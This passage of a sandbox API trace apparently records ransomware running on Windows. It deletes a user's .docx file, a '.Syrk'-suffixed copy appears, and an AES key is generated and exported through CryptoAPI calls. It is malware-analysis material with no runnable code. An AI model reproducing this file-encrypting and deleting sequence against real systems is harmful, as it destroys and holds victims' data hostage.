(lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx")) returned 0x20 [0225.370] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0225.370] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", lpFilePart=0x0) returned 0x2b [0225.447] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0225.447] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", lpFilePart=0x0) returned 0x2b [0225.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0225.447] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0225.447] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", lpFilePart=0x0) returned 0x2b [0225.448] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0225.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0225.448] CoTaskMemAlloc (cb=0x404) returned 0x5c9a950 [0225.448] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9a950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0225.448] CoTaskMemFree (pv=0x5c9a950) [0225.451] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx")) returned 0x20 [0225.451] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0225.451] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx", lpFilePart=0x0) returned 0x2b [0225.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0225.451] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx"), fInfoLevelId=0x0, lpFileInformation=0x24b1cc4 | out: lpFileInformation=0x24b1cc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc88d0, ftCreationTime.dwHighDateTime=0x1d960b6, ftLastAccessTime.dwLowDateTime=0xd44e6e90, ftLastAccessTime.dwHighDateTime=0x1d97835, ftLastWriteTime.dwLowDateTime=0xd44e6e90, ftLastWriteTime.dwHighDateTime=0x1d97835, nFileSizeHigh=0x0, nFileSizeLow=0x15d1b)) returned 1 [0225.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0225.451] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx")) returned 1 [0225.454] EtwEventActivityIdControl () returned 0x0 [0225.454] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.455] EtwEventActivityIdControl () returned 0x0 [0225.455] EtwEventActivityIdControl () returned 0x0 [0225.455] EtwEventActivityIdControl () returned 0x0 [0225.467] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx.syrk")) returned 0x20 [0225.470] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx.syrk")) returned 0x20 [0225.470] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0225.470] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx.Syrk", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx.Syrk", lpFilePart=0x0) returned 0x30 [0225.470] EtwEventActivityIdControl () returned 0x0 [0225.471] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.472] EtwEventActivityIdControl () returned 0x0 [0225.472] EtwEventActivityIdControl () returned 0x0 [0225.472] EtwEventActivityIdControl () returned 0x0 [0225.479] EtwEventActivityIdControl () returned 0x0 [0225.480] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.480] EtwEventActivityIdControl () returned 0x0 [0225.480] EtwEventActivityIdControl () returned 0x0 [0225.481] EtwEventActivityIdControl () returned 0x0 [0225.526] EtwEventActivityIdControl () returned 0x0 [0225.526] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.526] EtwEventActivityIdControl () returned 0x0 [0225.526] EtwEventActivityIdControl () returned 0x0 [0225.526] EtwEventActivityIdControl () returned 0x0 [0225.532] EtwEventActivityIdControl () returned 0x0 [0225.532] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.533] EtwEventActivityIdControl () returned 0x0 [0225.533] EtwEventActivityIdControl () returned 0x0 [0225.533] EtwEventActivityIdControl () returned 0x0 [0225.537] EtwEventActivityIdControl () returned 0x0 [0225.537] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.538] EtwEventActivityIdControl () returned 0x0 [0225.538] EtwEventActivityIdControl () returned 0x0 [0225.538] EtwEventActivityIdControl () returned 0x0 [0225.543] EtwEventActivityIdControl () returned 0x0 [0225.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0225.547] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\0m2lWa6W2.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\0m2lwa6w2.docx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24bb464 | out: lpFileInformation=0x24bb464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x267d510, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x267d510, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x26ae250, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x15d34)) returned 1 [0225.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0225.550] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0225.551] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0225.552] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0225.556] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0225.557] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0225.557] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0225.558] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0225.560] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0225.560] GetConsoleOutputCP () returned 0x1b5 [0225.560] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0225.560] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0225.561] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0225.561] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24d5864*, nNumberOfCharsToWrite=0x2b, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x24d5864*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2b) returned 1 [0225.562] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0225.562] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0225.565] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0225.565] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0225.566] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0225.567] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0225.567] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0225.568] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0225.569] GetConsoleOutputCP () returned 0x1b5 [0225.569] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0225.570] GetConsoleOutputCP () returned 0x1b5 [0225.570] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0225.570] GetConsoleOutputCP () returned 0x1b5 [0225.570] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.570] GetConsoleOutputCP () returned 0x1b5 [0225.570] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.571] GetConsoleOutputCP () returned 0x1b5 [0225.571] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0225.571] GetConsoleOutputCP () returned 0x1b5 [0225.572] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0225.572] GetConsoleOutputCP () returned 0x1b5 [0225.572] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.572] GetConsoleOutputCP () returned 0x1b5 [0225.572] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.572] GetConsoleOutputCP () returned 0x1b5 [0225.572] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0225.572] GetConsoleOutputCP () returned 0x1b5 [0225.573] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0225.573] GetConsoleOutputCP () returned 0x1b5 [0225.573] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.573] GetConsoleOutputCP () returned 0x1b5 [0225.573] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.573] GetConsoleOutputCP () returned 0x1b5 [0225.574] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0225.574] GetConsoleOutputCP () returned 0x1b5 [0225.574] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0225.574] GetConsoleOutputCP () returned 0x1b5 [0225.574] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.574] GetConsoleOutputCP () returned 0x1b5 [0225.574] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.575] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0225.575] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0225.576] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24d61c0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x24d61c0*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0225.576] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0225.630] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0225.631] GetConsoleOutputCP () returned 0x1b5 [0225.631] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0225.631] GetConsoleOutputCP () returned 0x1b5 [0225.631] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0225.631] GetConsoleOutputCP () returned 0x1b5 [0225.632] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0225.632] GetConsoleOutputCP () returned 0x1b5 [0225.632] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0225.632] GetConsoleOutputCP () returned 0x1b5 [0225.633] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.633] GetConsoleOutputCP () returned 0x1b5 [0225.633] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.633] GetConsoleOutputCP () returned 0x1b5 [0225.633] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.633] GetConsoleOutputCP () returned 0x1b5 [0225.633] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.633] GetConsoleOutputCP () returned 0x1b5 [0225.634] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.634] GetConsoleOutputCP () returned 0x1b5 [0225.634] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.634] GetConsoleOutputCP () returned 0x1b5 [0225.634] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.634] GetConsoleOutputCP () returned 0x1b5 [0225.634] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.635] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0225.635] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0225.635] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24d6668*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x24d6668*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0225.636] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0225.636] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0225.637] GetConsoleOutputCP () returned 0x1b5 [0225.638] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0225.638] GetConsoleOutputCP () returned 0x1b5 [0225.638] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0225.638] GetConsoleOutputCP () returned 0x1b5 [0225.638] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.638] GetConsoleOutputCP () returned 0x1b5 [0225.639] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.639] GetConsoleOutputCP () returned 0x1b5 [0225.639] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0225.640] GetConsoleOutputCP () returned 0x1b5 [0225.640] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0225.640] GetConsoleOutputCP () returned 0x1b5 [0225.640] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.641] GetConsoleOutputCP () returned 0x1b5 [0225.642] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.642] GetConsoleOutputCP () returned 0x1b5 [0225.642] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0225.642] GetConsoleOutputCP () returned 0x1b5 [0225.642] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0225.642] GetConsoleOutputCP () returned 0x1b5 [0225.643] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.643] GetConsoleOutputCP () returned 0x1b5 [0225.643] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.643] GetConsoleOutputCP () returned 0x1b5 [0225.643] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0225.643] GetConsoleOutputCP () returned 0x1b5 [0225.643] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0225.643] GetConsoleOutputCP () returned 0x1b5 [0225.644] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.644] GetConsoleOutputCP () returned 0x1b5 [0225.644] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.644] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0225.644] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0225.645] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24d7044*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24d7044*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0225.645] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0225.646] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0225.647] EtwEventActivityIdControl () returned 0x0 [0225.647] EtwEventActivityIdControl () returned 0x0 [0225.648] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.648] EtwEventActivityIdControl () returned 0x0 [0225.648] EtwEventActivityIdControl () returned 0x0 [0225.648] EtwEventActivityIdControl () returned 0x0 [0225.654] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.654] EtwEventActivityIdControl () returned 0x0 [0225.654] EtwEventActivityIdControl () returned 0x0 [0225.654] EtwEventActivityIdControl () returned 0x0 [0225.657] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cd48) returned 1 [0225.659] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c997a0) returned 1 [0225.659] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0225.659] CryptExportKey (in: hKey=0x5c997a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0225.659] CryptExportKey (in: hKey=0x5c997a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24dea1c, pdwDataLen=0x5a2e8c4 | out: pbData=0x24dea1c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0225.659] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.661] EtwEventActivityIdControl () returned 0x0 [0225.661] EtwEventActivityIdControl () returned 0x0 [0225.661] EtwEventActivityIdControl () returned 0x0 [0225.662] SysStringLen (param_1="") returned 0x8 [0225.662] SysStringLen (param_1="y") returned 0x8 [0225.662] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.662] SysStringLen (param_1="直௼ꁅሁ愗῁ᑜ槰") returned 0x8 [0225.662] SysStringLen (param_1="直௼ꁅሁ愗῁ᑜ槰") returned 0x8 [0225.662] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.662] SysStringLen (param_1="yK") returned 0x8 [0225.663] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.663] SysStringLen (param_1="㺴\뛞慫晻灊⊎) returned 0x8 [0225.663] SysStringLen 